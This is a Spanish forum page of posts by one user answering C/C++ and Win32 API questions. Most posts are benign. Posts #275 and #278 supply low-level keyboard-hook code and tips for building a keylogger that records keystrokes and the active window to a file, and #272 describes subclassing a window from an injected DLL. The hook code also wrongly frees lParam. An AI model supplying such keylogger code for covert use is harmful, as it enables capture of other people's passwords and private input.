Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - naderST

#271
Programación C/C++ / Re: Problema con control STATIC
21 Septiembre 2011, 20:25 PM
Prueba esto:

Código (cpp) [Seleccionar]
SetBkColor((HDC)wParam,RGB(29,28,28));

Y sino funciona asegúrate que se este cumpliendo la condición del if.
#272
Programación C/C++ / Re: [C] Hook en DLL
17 Septiembre 2011, 05:48 AM
SetWindowLongPtr

Con la DLL una vez inyectada puedes hacer esto teniendo el handle de la ventana.

Código (cpp) [Seleccionar]

WNDPROC default_procedure;
LRESULT CALLBACK hook(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam);

int main(){
HWND hwnd = 0;
default_procedure = (WNDPROC)SetWindowLongPtr(hwnd, GWLP_WNDPROC, (LONG)hook);
}

LRESULT CALLBACK hook(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam){
// Haces tu trabajo...

return CallWindowProc(default_procedure, hwnd, message, wParam, lParam);
}
#273
Programación C/C++ / Re: Iconos en botones (Win API)
17 Septiembre 2011, 05:32 AM
TODO está en la MSDN pero te ayudo con lo siguiente para ponerle un icono a un botón tienes que usar el mensaje BM_SETIMAGE:

Código (cpp) [Seleccionar]
SendMessage(boton1, BM_SETIMAGE, (WPARAM) IMAGE_ICON, (LPARAM)hIcon1);



http://msdn.microsoft.com/en-us/library/bb761822(v=vs.85).aspx
#274
Al parecer solo puedes acceder a punteros de manera privada en las clases de esta manera:

Código (cpp) [Seleccionar]

#include <iostream>

using namespace std;

class punt {
    private:
    int * ptr;

    public:
    void numero(int * num){
        ptr = num;
    }

    int obtNumero(){
        return *ptr;
    }
};

int main()
{
    int num = 10;
    punt a;
    a.numero(&num);
    cout << "Contenido del puntero: " << a.obtNumero() << endl;
    return 0;
}



Tienes que crear el objeto y demás.
#275
Código (cpp) [Seleccionar]
teclado->vkCode

Con eso tienes la tecla y bueno lo demás de guardarlo en un archivo es básico, puedes usar la función GetForegroundWindow() para obtener la ventana actual y guardar eso en el archivo de texto y con eso saber en que ventana el usuario esta escribiendo y hay una infinidad de cosas que puedes hacer, ponte creativo.
#276
Programación C/C++ / Re: socket ??
5 Agosto 2011, 20:28 PM
Revisa bien la función socket:


http://msdn.microsoft.com/en-us/library/ms740506(v=vs.85).aspx


Al último parámetro no le pases 0 sino el tipo de protocolo que deseas.
#277
En realidad es sin el asterisco (*)...

Código (cpp) [Seleccionar]

int punt::a = NULL;


Ahí asignas que el puntero es NULL osea que no apunta a nada, en tu caso estabas asignando que el valor de la dirección donde apunta es NULL.
#278
Para el keylogger sin duda la aplicación Win32 y un ejemplo de un hook al teclado sería este:


#include <windows.h>
#include <stdio.h>

HHOOK hHook;
MSG messages;

LRESULT CALLBACK hook_teclado(int nCode, WPARAM wParam, LPARAM lParam);

int WINAPI WinMain (HINSTANCE hThisInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR lpszArgument,
                     int nCmdShow)
{
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)hook_teclado, hThisInstance, NULL);

    while(GetMessage(&messages, NULL, NULL, NULL)){
        TranslateMessage(&messages);
        DispatchMessage(&messages);
    }

    return messages.wParam;
}

LRESULT CALLBACK hook_teclado(int nCode, WPARAM wParam, LPARAM lParam){
    if(nCode < 0)
        return CallNextHookEx(hHook, nCode, wParam, lParam);

    if(wParam == WM_KEYDOWN){
        PKBDLLHOOKSTRUCT teclado = (PKBDLLHOOKSTRUCT)lParam;
        printf("%c", teclado->vkCode);
        free(teclado);
    }

    return CallNextHookEx(hHook, nCode, wParam, lParam);
}



Aquí algunos links a la MSDN:

http://msdn.microsoft.com/en-us/library/ms644960(v=VS.85).aspx
http://msdn.microsoft.com/en-us/library/ms644990(v=vs.85).aspx

Todo lo que tiene que ver con el API de Windows esta ahí.
#279
No usas CopyFile sino que vas recorriendo el archivo byte por byte y en ese recorrido vas aumentando el progressbar.
#280
Tienes algún conocimiento sobre bases de datos? Que base de datos piensas utilizar?